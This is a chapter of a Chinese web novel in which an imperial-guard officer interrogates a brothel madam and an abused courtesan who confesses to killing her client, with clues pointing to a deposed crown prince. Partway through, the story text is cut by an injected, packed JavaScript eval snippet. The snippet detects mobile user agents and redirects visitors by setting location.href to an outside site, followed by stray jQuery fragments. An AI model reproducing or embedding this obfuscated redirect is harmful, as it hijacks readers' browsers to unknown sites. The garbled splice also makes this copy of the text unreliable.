18. 查得真凶

作品:《求求你别复活了

    两人带队锦衣卫骑马迅至西街,越过十六楼行了几里,周遭渐显颓败,路侧尽是瑟缩在阴影里的流民。


    不多时,马蹄驻于一处高门深宅前。老九早已带人封了门户,见二人赶来,抬手招呼:“老大,招了。”


    裴熙野勒马而立,心头无端一跳。


    太顺了。入衙近四载,如此顺水推舟的案子,还是头一遭。


    两人下马,几个大步走近,就见老鸨带着一名面色苍白的女子跪在身前。


    官靴渐近,老鸨瞥见来人,突然变了脸,拍大腿干嚎起来:“哎哟诸位爷!快别堵门了,天都要黑了,您几位往这一站,奴家往后还怎么做生意?”


    猴子因养母教导,自小最是照顾女子,无论对方老少身份,见状皱眉道:“老九,你怎的欺负女子?”


    “嘿,你这脑子糊涂的,老子哪敢?”老九阴着脸横了老鸨一眼,生生教她那嚎丧声断在喉里。


    他转头对裴熙野道:“这婆子方才自己腿软跪下的,说是这叫樱桃的姑娘,昨夜直到现在,一直跟那姓杜的腻在一处,结果早上一来,发现男的已然气都没了,如今反倒瞧着老大您面嫩,变了脸色,正打算拿话捏您呢。”


    老鸨咽了唾沫,仍想抓住一线机会,蹉跎着膝盖往裴熙野那边挪:“大人,真与我们没关系,昨儿杜公子是来此不假,但近日他每天都来啊,一呆就是一晚,昨日他也照常点了樱桃陪侍,早上就回去了,我...”


    裴熙野目光在两人身上来回,冷冷开口:“早上?他昨日戌时左右就身亡了!想好了再说,想好了再说,阵前翻供,可是要吃刑的。”


    老鸨被他冷意吓得脸色一白,心道本以为是个面皮白净、好糊弄的后生,未曾想是个更凶的活阎王,结巴道:“我们省得,确...确实没有任何隐瞒...爷不信,可以问...”


    裴熙野直接上前,看着面色如纸的女子:“你是此处妓子?”


    樱桃木然点头。


    “抬脚,让我瞧瞧你的鞋底。”


    樱桃眨了眨眼睛,似是想到了什么,面色又白了几分:“我..”


    “哎哟,爷,她昨晚压根没穿鞋。”老鸨忙不迭地横插一杠,脸上堆起几分油腻的笑,“咱这丽春院有个远近闻名的‘特色’,入幕承恩皆需全身赤裸。您若不信,大可去打听打听,莫说旁人,便是您的好些同僚,也是这儿的常客……”


    她话里藏针,存心想拿人脉压一压锦衣卫的势头。毕竟这院子底子不干净,最怕这帮煞星深挖。


    裴熙野充耳不闻,只死盯着樱桃:“你昨晚出过这个院子,是吗?”


    樱桃垂下头,眼尾洇出一抹红:“是。”


    “那是奴家使唤她去东街买头条糕去了!”老鸨还在圆谎,神色愈发焦躁,“大人怜惜,这丫头打小脑子不灵光,话说不全,记性也差...”


    樱桃小声:“算了吧,妈妈。”


    老鸨面色骤变,狠狠掐向她的手臂,啐道:“什么算了?身契尚在老娘手里,你若敢胡言乱语带累了买卖,看我不揭了你的皮!”


    “是我杀的!”樱桃猛然抬头,在那记毒辣的掐痕下,她反倒生出一股破釜沉舟的平静。


    她直视着裴熙野,声音在那阴冷的巷弄里显得格外清晰,“杜公子,是我杀的!”


    老鸨惊得双眼几欲裂开,疯了般扑上去想捂她的嘴:“你这丧门星!诚心要气死老娘不成...”


    裴熙野冷眼一扫,猴子当即会意,错步上前反剪了老鸨双臂,顺手扯下帕子塞了她的嘴,将人一路拖往院外。


    周遭骤然静了下来。裴熙野趋前一步,居高临下地审视着眼前的女子:“你说是你杀的。那我问你,凶器为何物?如今又在何处?”


    樱桃死死攥着指尖:“我用的刀。杀了人,便顺手扔进后门的河里了。”


    裴熙野蹙眉,语调凌厉:“杜岐远遭长刃枭首,一刀切断颈骨。你这般瘦骨伶仃,挥不动那等重刃,更遑论如此精练的腕力。说,是谁在教你顶罪?”


    樱桃猛地抬眼,眼底尽是绝望:“没人教我!就是我杀了他!他先前口口声声说爱我、要赎我,转头却要把我卖给那个老阉人做玩物!我恨他入骨,我就是要他死!”


    “再给你最后一次机会。”裴熙野俯身,声音压得极低,“说实话。否则,今日这满院的人皆要背上伪证脱逃之罪,你那位妄图替你遮掩的老妈妈,首当其冲。”


    樱桃浑身剧颤,泪珠如断线珠子般落下,死死咬着唇,半晌,像是耗尽了全身精气,颤巍巍地掀起那袭单薄的衣袖。


    “确是我杀了他,只是缘由无关情爱……”她惨然一笑,露出一截手臂,“大人瞧了这个,便全明白了。”


    白皙纤细的小臂上,几道狰狞牙印翻翘,深紫色勒痕和新旧疤痕交错其间,触目惊心。


    “我身上、大腿上,全身都是,比这更甚。”樱桃嗓音苍凉,带着自嘲的笑意,“丽春院挣的是卖命钱,大人莫恼我等方才撒谎,实是不愿教人掀了这处糊口的烂摊子。恩客欢喜了赏几个子,不欢喜了便拿我等撒气。杜岐远家道中落,满腹戾气尽数泄在了我身上。”


    她垂着眼帘,遮去眼底翻涌的情绪,“他是我遇见过最心狠的,表面上玉面公子,只要一句讨不得欢心,立马折磨。鞭子抽,刀刃划,只要血没流尽,气能喘出,就任他玩。”


    樱桃凄然一笑,神色倦怠,“这般活法,横竖是烂命一条。若能换得妈妈平安,也算全了她养我一场的恩情,没什么值不值得。”


    猴子听得满心愤慨,眼眶微赤,老九死死按住他欲找老鸨算账的肩头,眼底亦是一片悲悯。


    “我不怪妈妈。”樱桃复又低首,“妈妈是我的救命恩人,比前任班主待我们好过千百倍。似我这般残缺之人,一般的行院是不收的。丽春院自前朝就一直是这样的生意,听姊妹们说,妈妈已经算是最好的一任院主了。”


    她缓缓伸出一直握拳的手掌,竟是六个手指。


    院中静了片刻。


    裴熙野微微颔首:“所以你是反击?”


    樱桃叩首,冷笑中尽是快意,不见半分悔色:“昨日他又到我这里,逼着我喝那些腌臜药,折腾到后半夜才昏睡过去,我看着他胸口衣物大开,只觉得脑子里一片空白,拿起手边的利器就砍了过去...具体是什么刀,我记不清了,左右是他日常用来折磨我中的一把。待我回过神,他已没了气。我惊惶之下唤来妈妈,妈妈怕牵连院里的姊妹,便遣了个汉子帮我抬尸,丢回杜府做成遭刺的假象。”


    “帮你抬尸的那个人现在在哪?”


    樱桃咬着下唇摇头:“我不知道,妈妈给了银钱,他抬完尸就走了。”


    “带下去看押,把老鸨提回来。”裴熙野直起身,摆手吩咐,目光扫过院里斑驳的墙壁,廊下挂着的一件藏青色外袍格外扎眼,那袍子料子不俗,却洗得有些发白,与这腌臜弄巷格格不入。


    他脚步顿了顿走过去,指尖捻了捻布料,回头看向刚被押进来的老鸨。


    “为什么撒谎?”


    老鸨脸一白,瘫坐在地上,半晌才嗫嚅:“大人明察,奴家并非有意欺瞒。这丫头性子软,生生被杜公子折损了大半年,奴家也是瞧着心疼...”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477877|201587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “也没耽误你卖她挣钱。”裴熙野冷嗤,向廊下外袍抬抬下巴,“谁的?”


    老鸨的目光顺着他的手指看过去,目露疑惑:“应是哪位客人...”


    反倒是樱桃被卫兵押着经过廊下,出声:“是前几日一位来寻杜岐远的客人的,那日我失手将酒洒在他身上,他却宽慰我说无事,但感慨这袍子是逝友所送,料子金贵,沾不得一点脏。因我自小在染坊长大,知晓如何浆洗不褪色,便央他褪下由我清洗。说起来,他和昨晚抛尸的人体型倒是很像...”


    裴熙野眉峰微蹙:“那个客人长什么样?多大年纪?”


    “我...我没太看清,他进门的时候裹着风帽,看不清长相。”樱桃咬着唇回想,“腿很长,个头比您还要高半头,但走起路来一瘸一拐,说话声音瓮瓮的。”


    老九立刻上前一步:“老大,我这就派人全城搜捕!”


    “不急。”裴熙野抬手拦住他,指了指袍角那点淡青色的痕迹,“先查查这点染料的来历,瞧着像是某种罕见的矿染。先查查这点染料的来历,瞧着像是宫里专供的料子。”


    他侧首,语速极快地吩咐道:“老九带人守死前后门,再仔细搜搜这院里还有没有余下的首尾。猴子,跟我去樱桃屋里转转。”


    甫入小院,一股甜腻至极的异香便扑鼻而来,与杜岐远鞋底残留的气味如出一辙。


    猴子掩鼻低骂:“这西域秘药当真冲头,甜得教人发慌。”


    裴熙野默而不语,冷目环视。当他指尖掠过床头暗格时,顺势一抽,一块彩色锦缎跃然指尖。


    那是一方绣着四爪蟒纹的青锦帕,帕角余温未散,还沾着几点新陈的银炭灰。


    猴子见状,失声惊呼:“蟒纹?这可是宗室才配用的物件!莫非贤王世子根本没回封地?”


    裴熙野指尖摩挲着帕面,眉宇间掠过一丝晦暗,沉声截断:“莫要妄议。此物兴许是杜府昔年勾结他府的罪证,杜岐远落魄至此,拿它抵账也未可知。”


    两人未能搜到其他证物,有的只是满屋的刑具。


    “这脏地方,花样竟不比咱们诏狱少。”猴子一脸厌恶,正欲撤身,却见裴熙野立在原地,将那帕子攒进手心。


    “老大,可有异样?”


    “无妨。”裴熙野勉强牵了牵唇角,将帕子妥帖收好,“只是准备拿回去,权当证物。”


    蟒纹,当今世上可纹此制者,唯监国太子、皇长孙、贤王和齐王,如今日常所见的彩织云锦多为靛蓝重色,此前他那位远房表哥在御赐赏物中显摆过,说是皇爷爷钦赐,贵气凌人,却少了几分灵动。


    可手中这帕子,却是极浅淡的晴青色。织法略显古意,透着股温柔朦胧的温柔,记忆中的那道旧影偏爱这种色彩。


    废太子。


    裴熙野紧握手心,神色却未有丝毫变化,将那锦帕藏入怀中。


    ——


    紫山湖畔,姜菀之轻点水面,一路掠至赵府门口,看向满院缟素。


    灵堂之中,赵雪满头华发之上簪上白巾,面目沉静,跪坐在佛像和棺材之间,为亡灵超度念经。


    “你们到底没团圆。”姜菀之轻叹。


    赵雪手中佛珠止住波动,缓缓抬眸看她:“姜姑娘,这不怪你,是远儿命不好。”


    姜菀之叩首,坐至她身侧:“你似乎不难过。”


    老妇轻笑一声,枯瘦的指尖重新拨开珠串,喃喃自语:“哀恸到了极点,便是心死如灰。既然心都成了死灰,哪里还流得出泪来?”


    “是么。”姜菀之轻叹,“你是因此,才亲手杀了自己盼望十数年的儿子吗?”